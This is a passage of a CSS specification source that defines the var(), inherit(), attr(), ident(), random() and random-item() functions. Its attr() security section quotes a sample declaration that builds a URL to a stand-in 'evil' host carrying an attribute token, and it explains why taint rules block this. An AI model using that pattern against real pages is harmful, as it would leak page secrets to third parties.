		margin-top:    toggle(1px, 4px, 1px);
		margin-right:  toggle(2px, 4px, 5px);
		margin-bottom: toggle(1px, 4px, 4px);
		margin-left:   toggle(2px, 4px, 5px);
		</pre>

		Note that, since ''1px'' appears twice in the top margin and ''4px'' appears twice in bottom margin,
		they will cycle between only two values
		while the left and right margins cycle through three.
		In other words, the declarations above will yield the same computed values
		as the longhand declarations below:

		<pre>
		margin-top:    toggle(1px, 4px);
		margin-right:  toggle(2px, 4px, 5px);
		margin-bottom: toggle(1px, 4px);
		margin-left:   toggle(2px, 4px, 5px);
		</pre>

		which may not be what was intended.
	</div>

<h3 id="var-notation">
Custom Property References: the ''var()'' notation</h3>

	The ''var()'' notation substitutes the value of a [=custom property=],
	see the <a href="https://www.w3.org/TR/css-variables/#using-variables">CSS Custom Properties for Cascading Variables Module</a>.
	[[CSS-VARIABLES]]

<h3 id="inherit-notation">
Inherited Value References: the ''inherit()'' notation</h3>

<wpt>
inherit-function-basic.html
inherit-function-invalidation.html
inherit-function-parsing.html
</wpt>

	Like the ''inherit'' keyword, the <dfn>inherit()</dfn> [=functional notation=]
	resolves to the [=computed value=] of a property on the parent.
	Rather than resolving to the value of the same property, however,
	it resolves to a sequence of [=component values=]
	representing the [=computed value=]
	of the property specified as its first argument.
	Its second argument, if present, is used as a fallback
	in case the first argument resolves to the [=guaranteed-invalid value=].

	''inherit()'' is an [=arbitrary substitution function=]
	whose syntax is defined as:

	<pre class=prod>
		<<inherit()>> = inherit( <<custom-property-name>>, <<declaration-value>>? )
	</pre>

	The ''inherit()'' function's [=argument grammar=] is:

	<pre class=prod>
		<dfn><<inherit-args>></dfn> = inherit( <<declaration-value>>, <<declaration-value>>? )
	</pre>

	Like ''var()'', a bare comma can be used with nothing following it,
	indicating that the second <<declaration-value>> was passed,
	just as an empty sequence.

	Note: That is, ''inherit(--foo)'' does not pass a fallback value,
	but ''inherit(--foo,)'' does (the fallback is just empty).

	<div algorithm>
		To <dfn export>[=replace an arbitrary substitution function|replace an inherit() function=]</dfn>,
		given a list of |arguments|:

		1. [=Substitute arbitrary substitution functions=] in the first <<declaration-value>> of |arguments|,
			then [=CSS/parse=] it as a <<custom-property-name>>.

		2. If parsing returned a <<custom-property-name>>,
			and the [=inherited value=] of that [=custom property=] on the element
			does not contain the [=guaranteed-invalid value=],
			return that inherited value.

		3. Otherwise, if a second <<declaration-value>>? was passed in |arguments|,
			[=substitute arbitrary substitution functions=] in that argument,
			and return the result.

		4. Otherwise, return the [=guaranteed-invalid value=].
	</div>

	Note: Future levels of CSS may allow specifying standard CSS properties in ''inherit()'';
	however because the tokenization of [=computed values=]
	is not fully standardized for all CSS properties,
	this feature is deferred from Level 5.
	Note that the [=computed value=] differs from the [=used value=],
	and is not always the resolved value returned by {{getComputedStyle()}};
	thus even if ''inherit(width)'' were allowed,
	it would frequently return the keyword ''width/auto'', not the used <<length>>.

<!-- Big Text: attr()

 ███▌  █████▌ █████▌ ████▌    ██ ██
▐█ ▐█    █▌     █▌   █▌  █▌  █▌   ▐█
█▌  █▌   █▌     █▌   █▌  █▌ █▌     ▐█
█▌  █▌   █▌     █▌   ████▌  █▌     ▐█
█████▌   █▌     █▌   █▌▐█   █▌     ▐█
█▌  █▌   █▌     █▌   █▌ ▐█   █▌   ▐█
█▌  █▌   █▌     █▌   █▌  █▌   ██ ██
-->

<h3 id="attr-notation">
Attribute References: the ''attr()'' notation</h3>

<!--
Ian's proposal:
  http://lists.w3.org/Archives/Member/w3c-css-wg/2002OctDec/0141.html
-->

	The <dfn>attr()</dfn> function substitutes the value of an  <l spec=dom>[=attribute=]</l> on an <l spec=dom>[=/element=]</l>
	into a property,
	similar to how the ''var()'' function
	substitutes a [=custom property=] value into a function.

	<pre class=prod>
		attr() = attr( <<attr-name>> <<attr-type>>? , <<declaration-value>>?)

		<dfn>&lt;attr-name></dfn> = [ <<ident-token>>? '|' ]? <<ident-token>>
		<dfn>&lt;attr-type></dfn> = <dfn function lt="type()" for="attr()">type( <<syntax>> )</dfn> | raw-string | number | <<attr-unit>>
		<dfn>&lt;attr-unit></dfn> = <<custom-ident>>
	</pre>

	The ''attr()'' function's [=argument grammar=] is:

	<pre class=prod>
		<dfn><<attr-args>></dfn> = attr( <<declaration-value>>, <<declaration-value>>? )
	</pre>

<wpt>
attr-IACVT.html
attr-all-types.html
attr-argument-grammar.html
attr-color-invalid-cast.html
attr-color-valid.html
attr-container-style-query.html
attr-crash.html
attr-css-wide-keywords.html
attr-cycle.html
attr-dynamic-marker-content.html
attr-in-max.html
attr-in-slotted.html
attr-invalidation.html
attr-length-invalid-cast.html
attr-length-specified.html
attr-length-valid-zero-nofallback.html
attr-length-valid-zero.html
attr-length-valid.html
attr-namespace-case-sensitivity.xhtml
attr-namespace-non-existing.html
attr-namespace-valid.xhtml
attr-namespace-wildcard.html
attr-notype-fallback.html
attr-null-namespace.xhtml
attr-pseudo-elem-invalidation-2.html
attr-pseudo-elem-invalidation.html
attr-pseudo-element-marker.html
attr-pseudo-element-originating.html
attr-pseudo-element-placeholder.html
attr-revert-rule.html
attr-serialization.html
attr-style-sharing-1.html
attr-style-sharing-2.html
attr-style-sharing-3.html
attr-style-sharing-4.html
attr-style-sharing-5.html
attr-universal-selector.html
html-attr-case-insensitivity.html
</wpt>

	Like ''var()'', a bare comma can be used with nothing following it,
	indicating that the second <<declaration-value>> was passed,
	just as an empty sequence.

	Note: That is, ''attr(foo)'' does not pass a fallback value,
	but ''attr(foo,)'' does (the fallback is just empty).

	<<attr-unit>> is intended to represents an [=identifier=]
	that is an [=ASCII case-insensitive=] match
	for the name of a CSS dimension unit,
	such as ''px'',
	or the <<delim-token>> <css>%</css>.
	As this set expands regularly,
	it is actually specified as a <<custom-ident>>,
	and triggers fallback behavior when it doesn't match a known unit
	(rather than making the function invalid).

	<!-- Switch the <attr-name> to just use <q-name>
		when Namespaces is rewritten
		to use the current grammar structures. -->

	The arguments of ''attr()'' are:

	: <<attr-name>>
	:: Gives the name of the attribute being referenced,
		similar to <<wq-name>> (from [[SELECTORS-3]])
		but without the possibility of a wildcard prefix.

		If no namespace is specified
		(just an identifier is given, like ''attr(foo)''),
		the null namespace is implied.
		(This is usually what's desired,
		as namespaced attributes are rare.
		In particular, HTML and SVG do not contain namespaced attributes.)
		Unless otherwise specified,
		the case-sensitivity/matching rules of <<attr-name>>
		are identical to [=attribute selectors=]
		(and thus might depend on the host language).

		Whitespace is not allowed
		between any of the components of <<attr-name>>.

		If ''attr()'' is used in a property applied to an element,
		it references the attribute of the given name on that element;
		if applied to a [=pseudo-element=],
		the attribute is looked up on the pseudo-element's [=originating element=].

	: <<attr-type>>
	::
		Specifies how the attribute value is [=CSS/parsed=] into a CSS value.

		If given as a ''type()'' function,
		the value is parsed according to the <<syntax>> argument,
		and substitutes as the resulting tokens.
		For this purpose, ''&lt;url>'' is invalid as a <<syntax-single-component>>.
		Values that fail to parse according to the syntax
		trigger fallback.

		Note: ''&lt;url>'' is banned because,
		for now,
		''attr()'' values can't be used in URLs at all
		due to security concerns.

		If given as the <css>number</css> keyword,
		it causes the attribute's literal value,
		after [=strip leading and trailing ASCII whitespace|stripping leading and trailing whitespace=],
		to be [=CSS/parsed=] as a <<number-token>>.
		Values that fail to parse trigger fallback.

		If given as an <<attr-unit>> value,
		the value is first parsed as if ''number'' keyword was specified;
		if this fails to parse,
		it triggers fallback.
		Then, if the <<attr-unit>> value
		matches a known CSS unit name
		or is <css>%</css>,
		the number is turned into a dimension or percentage
		with that value and the given unit.
		If the <<attr-unit>> does not match a known CSS unit,
		it triggers fallback.

		If given as the <css>raw-string</css> keyword,
		or omitted entirely,
		it causes the attribute's literal value
		to be treated as the value of a CSS string,
		with no CSS parsing performed at all
		(including CSS escapes, whitespace removal, comments, etc).
		No value triggers fallback;
		only the lack of the attribute entirely does.

		Note: This is different from specifying a syntax of ''type(*)'',
		which still triggers CSS parsing
		(but with no requirements placed on it
		beyond that it parse validly),
		and which substitutes the result of that parsing directly as tokens,
		rather than as a <<string>> value.

	: <<declaration-value>>
	::
		Specifies a fallback value for the ''attr()'',
		which will be substituted instead of the attribute's value
		if the attribute is missing
		or fails to parse as the specified type.

		If the <<attr-type>> argument is omitted,
		the fallback defaults to the empty string if omitted;
		otherwise, it defaults to the [=guaranteed-invalid value=] if omitted.

	If a property contains one or more ''attr()'' functions,
	and those functions are syntactically valid,
	the entire property's grammar must be assumed to be valid at parse time.
	It is only syntax-checked at computed-value time,
	after ''attr()'' functions have been [=arbitrary substitution|substituted=].

	<div class='note'>
		Note that the default value need not be of the type given.
		For instance, if the type required of the attribute by the author is ''&lt;length>'',
		the default could still be <css>auto</css>,
		like in ''width: attr(size &lt;length>, auto);''.
	</div>

	<div class="example">
		This example shows the use of attr() to visually illustrate data
		in an XML file:

		<xmp>
		<stock>
			<wood length="12"/>
			<wood length="5"/>
			<metal length="19"/>
			<wood length="4"/>
		</stock>

		stock::before {
			display: block;
			content: "To scale, the lengths of materials in stock are:";
		}
		stock > * {
			display: block;
			width: attr(length em, 0px);
			height: 1em;
			border: solid thin;
			margin: 0.5em;
		}
		wood {
			background: orange url(wood.png);
		}
		metal {
			background: silver url(metal.png);
		}
		</xmp>
	</div>

<h4 id=attr-substitution>
Substitution</h4>

	''attr()'' is an [=arbitrary substitution function=],
	similar to ''var()'',
	and so is replaced with the value it represents (if possible)
	at [=computed value=] time;
	otherwise, it's replaced with the [=guaranteed-invalid value=],
	which will make its declaration [=invalid at computed-value time=].

	<div algorithm>
		To <dfn export>[=replace an arbitrary substitution function|replace an attr() function=]</dfn>,
		given a list of |arguments|:

		1. Let |el| be the element that the style containing the ''attr()'' function
			is being applied to.
			Let |first arg| be the first <<declaration-value>> in |arguments|.
			Let |second arg| be the <<declaration-value>>? passed after the comma,
			or null if there was no comma.

		2. [=Substitute arbitrary substitution functions=] in |first arg|,
			then [=CSS/parse=] it as <css><<attr-name>> <<attr-type>>?</css>.
			If that returns failure, jump to the last step (labeled FAILURE).
			Otherwise, let |attr name| and |syntax| be the results of parsing
			(with |syntax| being null if <<attr-type>> was omitted),
			processed as specified in the definition of those arguments.

		3. If |attr name| exists as an attribute on |el|,
			let |attr value| be its value;
			otherwise jump to the last step (labeled FAILURE).

		4. If |syntax| is the keyword ''number'' or an <<attr-unit>> value,
			parse |attr value| against <<attr-type>>.
			If that succeeds, return the result;
			otherwise, jump to the last step (labeled FAILURE).

			Note: No parsing or modification of any kind is performed on the value.
		
		5. If |syntax| is null
			or the keyword ''raw-string'',
			return a CSS <<string>>
			whose value is |attr value|.

			Note: No parsing or modification of any kind is performed on the value.

		6. [=Substitute arbitrary substitution functions=] in |attr value|,
			with &bs<<;"attribute", |attr name|&bs>>; as the [=substitution context=],
			then [=parse with a <syntax>=] |attr value|, with |syntax| and |el|.
			If that succeeds, return the result;
			otherwise, jump to the last step (labeled FAILURE).

		7. <b>FAILURE:</b>

			1. If |second arg| is null,
				and |syntax| was omitted,
				return an empty CSS <<string>>.

			2. If |second arg| is null,
				return the [=guaranteed-invalid value=].

			3. [=Substitute arbitrary substitution functions=] in |second arg|,
				and return the result.
	</div>


<h4 id=attr-security>
Security</h4>

<wpt>
attr-security-animation.html
attr-security-if.html
attr-security-transition.html
attr-security.html
</wpt>

	An ''attr()'' function can reference attributes
	that were never intended by the page to be used for styling,
	and might contain sensitive information
	(for example, a security token used by scripts on the page).

	In general, this is fine.
	It is difficult to use ''attr()'' to extract information from a page
	and send it to a hostile party,
	in most circumstances.
	The exception to this is URLs.
	If a URL can be constructed with the value of an arbitrary attribute,
	purely from CSS,
	it can easily send any information stored in attributes
	to a hostile party,
	if 3rd-party CSS is allowed at all.

	To guard against this,
	the values produced by an ''attr()'' are considered <dfn export lt="attr()-taint">attr()-tainted</dfn>,
	as are functions that contain an [=attr()-tainted=] value.

	The substitution value of an [=arbitrary substitution function=]
	is [=attr()-tainted=] <em>as a whole</em>
	if any [=attr()-tainted=] values were involved
	in creating that substitution value.
	<span class=note>This extends to the [=equivalent token sequence=]
	when substituting values of [=registered custom properties=].</span>

	Using an [=attr()-tainted=] value as or in a <<url>>
	makes a declaration [=invalid at computed-value time=].

	<div class=example>
		For example,
		all of the following are [=invalid at computed-value time=]:

		* ''background-image: src(attr(foo));'' - can't use it directly.
		* ''background-image: image(attr(foo))'' - can't use it in other <<url>>-taking functions.
		* ''background-image: src(string("http://example.com/evil?token=" attr(foo)))'' - can't "launder" it thru another function.
		* ''--foo: attr(foo); background-image(src(var(--foo)))'' (assuming that ''--foo'' is a [=registered custom property=] with string syntax) - can't launder the value thru another property, either.

		However, using ''attr()'' for other purposes is fine,
		even if the usage is <em>near</em> a url:

		* ''background-image: image("foo.jpg", attr(bgcolor type(&lt;color>)))'' is fine;
			the ''attr()'' is providing a fallback color,
			and the <<url>> isn't [=attr()-tainted=].

		Using ''attr()'' indirectly via a [=custom property=]
		causes [=attr()-tainting=] of the whole custom property value:

		* ''--foo: image("foo.jpg", attr(bgcolor type(&lt;color&gt;))); background-image: var(--foo);''
			is [=invalid at computed-value time=].

			Issue: Investigate partial tainting of custom property values.
	</div>

	Note: Implementing this restriction
	requires tracking a dirty bit
	on values constructed from ''attr()'' values,
	since they can be fully resolved into a string
	via [=registered custom properties=],
	so you can't rely on just examining the value expression.
	Note that non-string types can even trigger this,
	via functions like <css>string()</css>
	that can stringify other types of values:
	''--foo: attr(foo type(&lt;number&gt;)); background-image: src(string(var(--foo)))''
	needs to be invalid as well.

<!-- Big Text: ident()

████ ████▌  █████▌ █    █▌ █████▌   ██ ██
 ▐▌  █▌  █▌ █▌     █▌   █▌   █▌    █▌   ▐█
 ▐▌  █▌  █▌ █▌     ██▌  █▌   █▌   █▌     ▐█
 ▐▌  █▌  █▌ ████   █▌▐█ █▌   █▌   █▌     ▐█
 ▐▌  █▌  █▌ █▌     █▌  ██▌   █▌   █▌     ▐█
 ▐▌  █▌  █▌ █▌     █▌   █▌   █▌    █▌   ▐█
████ ████▌  █████▌ █▌   ▐▌   █▌     ██ ██
-->

<h3 id=ident>
Constructing <<custom-ident>> values: the ''ident()'' function</h3>

<wpt>
ident-function-computed.html
ident-function-parsing.html
</wpt>

	<!-- https://github.com/w3c/csswg-drafts/issues/9141 -->

	The <dfn>ident()</dfn> function represents an <<ident>>,
	and can be used to manually construct <<custom-ident>> values from several parts.

	<pre class=prod>
	<<ident()>> = ident( <<ident-arg>>+ )
	<dfn><<ident-arg>></dfn> = <<string>> | <<integer>> | <<ident>>
	</pre>

	The ''ident()'' function can be used as a value for any property or function argument
	that accepts a <<custom-ident>>.

	<div class=example>
		In the following example,
		each matched element gets a unique <<'view-timeline-name'>>
		in the format of <code>"vtl-<em>number</em>"</code>.
		The <code><em>number</em></code> is generated using ''sibling-index()''.

		```css
		.item {
			/* vtl-1, vtl-2, vtl-3, … */
			view-timeline-name: ident("vtl-" sibling-index());
		}
		```
	</div>

	While in many cases ''attr()'' with the <<attr-type>> set to <css>type(<<custom-ident>>)</css> will do,
	''ident()'' can be used to construct a <<custom-ident>> using values that come from other elements.

	<div class=example>
		In the following example, the  ''ident()'' function uses a custom property
		which is defined on a parent.

		```css
		.card[id] {
			/* E.g. card1, card2, card3, … */
			--id: attr(id);

			view-transition-name: ident(var(--id));
			view-transition-class: card;

			h1 {
				/* E.g. card1-title, card2-title, card3-title, … */
				view-transition-name: ident(var(--id) "-title");
				view-transition-class: card-title;
			}
		}
		```
	</div>

	To generate a <<dashed-ident>>, put <code>"--"</code> as the first argument.

	<div class=example>

		```css
		.element {
			anchor-name: ident("--" attr(id));
		}
		```
	</div>

<!-- Big Text: random

████▌   ███▌  █    █▌ ████▌   ███▌  █     █
█▌  █▌ ▐█ ▐█  █▌   █▌ █▌  █▌ █▌  █▌ ██   ██
█▌  █▌ █▌  █▌ ██▌  █▌ █▌  █▌ █▌  █▌ █▌█ █▐█
████▌  █▌  █▌ █▌▐█ █▌ █▌  █▌ █▌  █▌ █▌ █ ▐█
█▌▐█   █████▌ █▌  ██▌ █▌  █▌ █▌  █▌ █▌   ▐█
█▌ ▐█  █▌  █▌ █▌   █▌ █▌  █▌ █▌  █▌ █▌   ▐█
█▌  █▌ █▌  █▌ █▌   ▐▌ ████▌   ███▌  █▌   ▐█
-->

<h2 id=randomness>
Generating Random Values</h2>

<wpt>
random-in-keyframe.html
</wpt>

	It is often useful to incorporate some degree of "randomness" to a design,
	either to make repeated elements on a page feel less static and identical,
	or just to add a bit of "flair" to a page without being distracting.

	The ''random()'' and ''random-item()'' functions
	(the <dfn export for=CSS lt="random function">random functions</dfn>)
	allow authors to incorporate randomness into their page,
	while keeping this randomness predictable from a design perspective,
	letting authors decide whether a random value should be reused in several places
	or be unique between instances.

	The exact random-number generation method is UA-defined.
	It <em>should</em> be the case that two distinct random values
	have no easily-detectable correlation,
	but this specification intentionally does not specify what that means
	in terms of cryptographic strength.
	Authors <em>must not</em> rely on [=random functions=]
	for any purposes that depend on quality cryptography.

<h3 id=random>
Generating a Random Numeric Value: the ''random()'' function</h3>

	The <dfn>random()</dfn> function is a [=math function=]
	that represents a random value between a minimum and maximum value,
	drawn from a uniform distribution,
	optionally limiting the possible values to a step between those limits:

	<pre class=prod>
	&lt;random()> = random( <<random-key>>? , <<calc-sum>>, <<calc-sum>>, <<calc-sum>>? )
	</pre>

	See [[#random-evaluation]] and [[#random-caching]]
	for details on how the function is evaluated.
	Its arguments are:

	<dl>
		: <<random-key>>
		:: The optional <<random-key>>
			controls which [=random functions=] in the document
			will share a [=random base value=]
			and which will get distinct values.
			If <<random-key>> is omitted,
			it behaves as ''random()/auto''.

			See [[#random-caching]] for a full description of this value.

		: <css><<calc-sum>>, <<calc-sum>></css>
		:: The two required [=calculations=]
			specify the  minimum and maximum value
			the function can resolve to.
			Both limits are inclusive
			(the result can be the min or the max).

			If the maximum value is less than the minimum value,
			it behaves as if it's equal to the minimum value.

			<div class=example>
				For example, ''random(100px, 300px)''
				will resolve to a random <<length>> between ''100px'' and ''300px'':
				it might be ''100px'', ''300px'', or any value between them like ''234.5px''.
			</div>

		: <css><<calc-sum>>?</css>
		:: The final optional argument
			specifies a step value:
			the values the function can resolve to
			are further restricted to the form <code>min + (N * step)</code>,
			where N is a non-negative integer
			chosen uniformly randomly from the possible values
			that result in an in-range value.

			<div class=example>
				For example, ''random(100px, 300px, 50px)''
				can only resolve to ''100px'', ''150px'', ''200px'', ''250px'', or ''300px'';
				it will never return a value like ''120px''.

				Note that the max value might not actually show up as a possible value;
				for example, in ''random(100px, 200px, 30px)'',
				the possible values are ''100px'', ''130px'', ''160px'', and ''190px''.
			</div>

			Note: Even if it's <em>intended</em> that <code>min</code> and <code>max</code>
			are exactly some integer multiple of <code>step</code> apart,
			numeric precision issues can prevent that from being true.
			To avoid these issues,
			if the max value is <em>very close</em> to equalling a stepped value
			(above or below it),
			the max value is used as the final stepped value instead.
			See [[#random-evaluation]] for precise details.

			<div class=example>
				As explained in the definition of ''round()'',
				CSS has no "natural" precision for values,
				but the step value can be used to assign one.

				For example, ''random(100px, 500px, 1px)''
				restricts it to resolving only to whole px values;
				''random(1, 10, 1)''
				is restricted to resolving only to integers;
				etc.
			</div>

			Note: Providing a step value <em>is not equivalent</em>
			to generating a random value and then rounding it;
			''random(100px, 200px, 50px)'' will generate three possible values
			(100px, 150px, 200px)
			all with a 1/3 chance,
			while ''round(random(100px, 200px), 50px)''
			will generate the same three possible values,
			but ''150px'' will occur 1/2 the time,
			while ''100px'' and ''200px'' will only occur 1/4 of the time each.
	</dl>

	All of the [=calculation=] arguments can resolve to any value,
	but must have a [=consistent type=]
	or else the function is invalid;
	the result’s type will be the consistent type.

	<div class=example>
		For example, ''random(50px, 100%, 1em)'' is valid
		(assuming percentages are valid in the context this is used,
		and resolve to a <<length>>),
		as all three arguments resolve to a length.

		However, ''random(50px, 180deg)'' is invalid,
		as lengths and angles are not the same type.
	</div>


<h4 id=random-infinities>
Argument Ranges</h4>

	In ''random(A, B)'',
	if A is infinite,
	the result is infinite.

	If A is finite,
	but the difference between A and B
	is either infinite
	or large enough to be treated as infinite in the user agent,
	the result is NaN.

	In ''random(A, B, C)'',
	the same behavior for A and B as defined above applies.

	If C is infinite,
	the result is A.

	If C is negative, zero,
	or positive but close enough to zero
	that the range for the step multiplier
	(the <code>N</code> mentioned in [[#random-evaluation]])
	would be infinite in the user agent,
	the step must be <em>ignored</em>.
	(The function is treated as if only A and B were provided.)

	Note: As usual for [=math functions=],
	if any argument calculation is NaN,
	the result is NaN.

<h3 id=random-item>
Picking a Random Item From a List: the ''random-item()'' function</h3>

	The <dfn>random-item()</dfn> function
	resolves to a random item
	from among its list of items.

	<pre class=prod>
	&lt;random-item()> = random-item( <<random-key>> , [ <<declaration-value>>? ]# )
	</pre>

	The ''random-item()'' function's [=argument grammar=] is:

	<pre class=prod>
		<dfn><<random-item-args>></dfn> = random-item( <<declaration-value>>, [ <<declaration-value>>? ]# )
	</pre>

	See [[#random-evaluation]] and [[#random-caching]]
	for details on how the function is evaluated.

	The <em>required</em> <<random-key>>
	is interpreted identically to ''random()''.
	(See [[#random-caching]] for details.)

	Note: The <<random-key>> argument is required in ''random-item()'',
	but optional in ''random()'',
	for parsing reasons
	(it's impossible to tell whether ''random-item(--foo, --bar, --baz)''
	has three <<declaration-value>> arguments
	or two and a <<random-cache-key>>).

	The remaining arguments are arbitrary sequences of CSS values.
	The ''random-item()'' function is substituted with one of these sequences,
	chosen uniformly at random.

	The ''random-item()'' function is an [=arbitrary substitution function=],
	like ''var()''.

	<div class=note>
		That is, if you use ''random-item()'':

		* So long as ''random-item()'' itself (and any other [=arbitrary substitution functions=])
			is syntactically valid,
			the entire property is assumed to be valid at parse time.
		* ''random-item()'' is substituted with whatever value it resolves to
			at [=computed value=] time
			when you'd [=substitute a var()=],
			so children all inherit the same resolved value.
		* If the substituted value ends up making the property invalid,
			the property's value becomes the [=guaranteed-invalid value=].
	</div>

	<div algorithm>
		To <dfn export>[=replace an arbitrary substitution function|replace a random-item() function=]</dfn>,
		given a list of |arguments|:

		1. Let |value sharing| be the first <<declaration-value>> in |arguments|,
			and |options| be a list of the remaining <<declaration-value>>? options.

		2. [=Substitute arbitrary substitution functions=] in |value sharing|,
			then [=CSS/parse=] it as <<random-key>>.
			If parsing returns failure,
			return the [=guaranteed-invalid value=];
			otherwise set |value sharing| to the result.

		3. Select one of the |options|,
			as specified in [[#random-evaluation]],
			using |value sharing|
			as specified in [[#random-caching]],
			and let |chosen option| be the result.

		4. [=Substitute arbitrary substitution functions=]
			in |chosen option|,
			then return the result.
	</div>


	<wpt>
	random-item-computed.html
	random-item-in-keyframe.html
	random-item-invalid.html
	random-item-nested.html
	random-item-serialize.html
	random-item-unresolvable-argument.html
	random-item-valid.html
	tree-counting/trig-functions-in-gradient-position.html
	</wpt>

<h3 algorithm=random-evaluation id=random-evaluation>
Evaluating Random Values</h3>

	Given a [=random function=] with a [=random base value=] |R|,
	the value of the function is:

	: for a ''random()'' function with |min| and |max|, but no step
	:: Return <code>|min| + |R| * (|max| - |min|)</code>

	: for a ''random()'' function with |min|, |max|, and |step|
	::
		* Let |epsilon| be <code>|step| / 1000</code>,
			or the smallest representable value greater than zero
			in the numeric type being used
			if |epsilon| would round to zero.
		* Let |N| be the largest integer
			such that <code>|min| + |N| * |step|</code> is less than or equal to |max|.

			If |N| produces a value that is not within |epsilon| of |max|,
			but |N|+1 would produce a value within |epsilon| of |max|,
			set |N| to |N|+1.
		* Let |step index| be a [=random integer=] less than |N|+1, given |R|.
		* Let |value| be <code>|min| + |step index| * |step|</code>.
		* If |step index| is |N| and |value| is within |epsilon| of |max|, return |max|.
		* Otherwise, return |value|.

		<details class=note>
			<summary>Epsilon/max Details</summary>

			|epsilon| was chosen to be <code>|step| / 1000</code>
			as a useful "middle ground" value:
			small enough that it's very unlikely to accidentally trigger
			when the author didn't intend it,
			but large enough that it's guaranteed to catch floating-point precision errors.

			It's size is also within the realm for authors to exploit themselves;
			if their |max| is meant to be an integer multiple of their |step|,
			but the |step| is not a terminating decimal,
			as long as they write the |step| with 5 or 6 digits of precision
			then the largest value should land within |epsilon| of |max|.

			For example, while ''random(0px, 100px, 33.3px)'' will not generate a ''100px'' value
			(the epsilon is ''.0333px'',
			but 3 steps yields ''99.9px'',
			which is ''.1px'' from |max|, more than the epsilon),
			''random(0px, 100px, 33.333px)'' will
			(the epsilon is ''.033333px'',
			similar to the previous example,
			but 3 steps yields ''99.999px'',
			which is ''.001px'' from |max|, much less than the epsilon).
			(A sufficiently large number of steps
			could still cause enough divergence to defeat this,
			but it works for any remotely reasonable use-case.)

			Using a [=calculation=] to "exactly" represent non-terminating decimals
			will also work, of course:
			''random(0px, 100px, 100px / 3)''
			is guaranteed to be able to generate a ''100px'' value,
			as the step value will only be subject to floating-point precision errors
			far smaller than the epsilon.
		</details>

	: for a ''random-item()'' function with |N| <<declaration-value>>? arguments:
	::
		* Let |index| be a [=random integer=] less than |N|, given |R|.
		* Return the |index|'th argument (0-indexed).

	<div algorithm>
		To <dfn local-lt="random integer">generate a random integer</dfn>
		less than some integer |limit|
		given a [=random base value=] |R|,
		return <css>round(down, |R| * |limit|, 1)</css>
	</div>



<h3 id=random-caching>
Sharing (Or Not) Random Values: the <<random-key>> value</h3>

	CSS is a declarative language,
	so functions don't have a specific “time” when they're evaluated;
	the user agent is free to “execute” functions in any order,
	as many times as they want,
	as every execution will return the same value.
	This is difficult to square with random-value functions,
	which are inherently <em>stateful</em> and care about
	when, how often, and in what order they're executed.

	To solve this, the [=random functions=] are associated with a [=random cache name=],
	ensuring that any time the random function is evaluated with the same cache key,
	it will return the same [=random base value=];
	and also that [=random functions=] with <em>different</em> caching keys
	will return <em>different</em> [=random base value=] from each other
	(unless they are, randomly, the same).

	The <<random-key>> value controls this behavior,
	and defaults to ''random()/auto'' when omitted.
	It's syntax is as follows, and interpreted as described below:

	<pre class=prod>
		<dfn><<random-key>></dfn> = auto | <<random-cache-key>> | fixed <<number [0,1]>>
		<dfn><<random-cache-key>></dfn> =  <<dashed-ident>> || element-scoped
		                       || [ property-scoped | property-index-scoped | <<random-ua-ident>> ]
		<dfn><<random-ua-ident>></dfn> = <<custom-ident>>
	</pre>

	<dl dfn-type=value dfn-for="random(),random-item(),<random-key>">
		: <dfn>auto</dfn>
		:: The [=random function=] is roughly “as random as possible”:
			the [=random cache name=], and thus the result,
			varies across every ''random()'' instance in a multi-component value,
			across different properties,
			and across different elements.

			This is equivalent to specifying ''element-scoped property-index-scoped'',
			and simplifies in exactly the same way.

		: <dfn><<random-cache-key>></dfn>
		:: The <<random-cache-key>> specifies the [=random cache name=],
			allowing it to be explicitly shared (or not)
			with other uses of [=random functions=].
			Every [=random function=] using the same [=random cache name=]
			will get the same random value;
			every one using a <em>different</em> [=random cache name=]
			will get unrelated random values.

			<ul dfn-for="random(),random-item(),<random-key>,<random-cache-key>">
			<li>The <<dashed-ident>> gives the value an explicit name.
				If omitted, this part of the name is null.
			<li><dfn>element-scoped</dfn> adds an element-specific identifier
				to the [=random cache name=],
				so different elements will get different random values.
			<li><dfn>property-scoped</dfn> adds the property name the [=random function=] is being used on
				to the [=random cache name=],
				so different properties will get different random values.
				Note that shorthand declarations will apply the [=shorthand property=]'s name.
			<li><dfn>property-index-scoped</dfn>
				adds the property name <em>and</em> the index of the random function
				among all the random functions used in the same property value
				to the [=random cache name=],
				so multiple instances of a [=random function=] in the same declaration
				will each get different [=random cache names=].
				Note this index is assigned <em>before</em> [=shorthand=] expansion.
			</ul>

			See [[#random-simplify]] for how these values resolve.

			The <dfn><<random-ua-ident>></dfn> value,
			like ''fixed'' below, isn't intended to be specified by authors,
			but can show up in [=computed values=].
			It is a <<custom-ident>> that must start with the prefix <css>ua-</css>,
			or else it is invalid.
			When generated automatically by the user agent,
			it follows certain specific patterns;
			see [[#random-simplify]] for details.

		: <dfn lt="fixed|<number>">fixed <<number [0, 1]>></dfn>
		:: If ''fixed <<number>>'' is specified,
			the [=random function=] bypasses the [=random cache name=] entirely,
			and just uses the <<number>> as its [=random base value=] directly.

			While ''1'' is technically allowed as a valid value
			(because CSS grammars can only express closed ranges),
			the [=random base value=] is clamped to the highest representable value
			less than ''1'',
			so [=random base values=] remain in the half-open range `[0, 1)`.

			Note: While this value <em>might</em> be useful for authors
			to get predictable values while testing a page,
			the reason it exists is to fix some corner cases in [=inheritance=]
			that would otherwise cause elements to <em>not</em> share [=random base values=]
			when authors would expect them to.
			It is observable in some rare [=computed values=],
			but otherwise will never show up in an element's styles.
	</dl>

	<div class=example>
		Imagine you have several ''.box'' elements,
		all styled with the following CSS:

		<pre highlight=css>
		.box {
			width: random(???, 100px, 200px);
			height: random(???, 100px, 200px);
			border: thin solid;
		}
		</pre>

		Depending on what <<random-key>> you provide
		in place of the ''???'',
		you'll get significantly different behavior for the elements:

		: ''auto''/omitted, <b>maximum random</b>: <span class="box-example auto"><b></b><b></b><b></b><b></b></span>
		::
			Each property gets a different value,
			and it's different per element too,
			so you get a bunch of <strong>different</strong> random <strong>rectangles</strong>.

		: ''--foo'', <b>shared by name</b>: <span class="box-example name"><b></b><b></b><b></b><b></b></span>
		::
			Both properties use the same value,
			and every element shares that value,
			so you get a bunch of <strong>identical</strong> random <strong>squares</strong>.

		: ''element-scoped'', <b>scoped per element</b>: <span class="box-example element-scoped"><b></b><b></b><b></b><b></b></span>
		::
			Both properties use the same value,
			but each element gets a different value,
			so you get a bunch of <strong>different</strong> random <strong>squares</strong>.

		: ''property-scoped'', <b>scoped per property</b>: <span class="box-example property-scoped"><b></b><b></b><b></b><b></b></span>
		::
			Each property gets a different value,
			but each element shares that value,
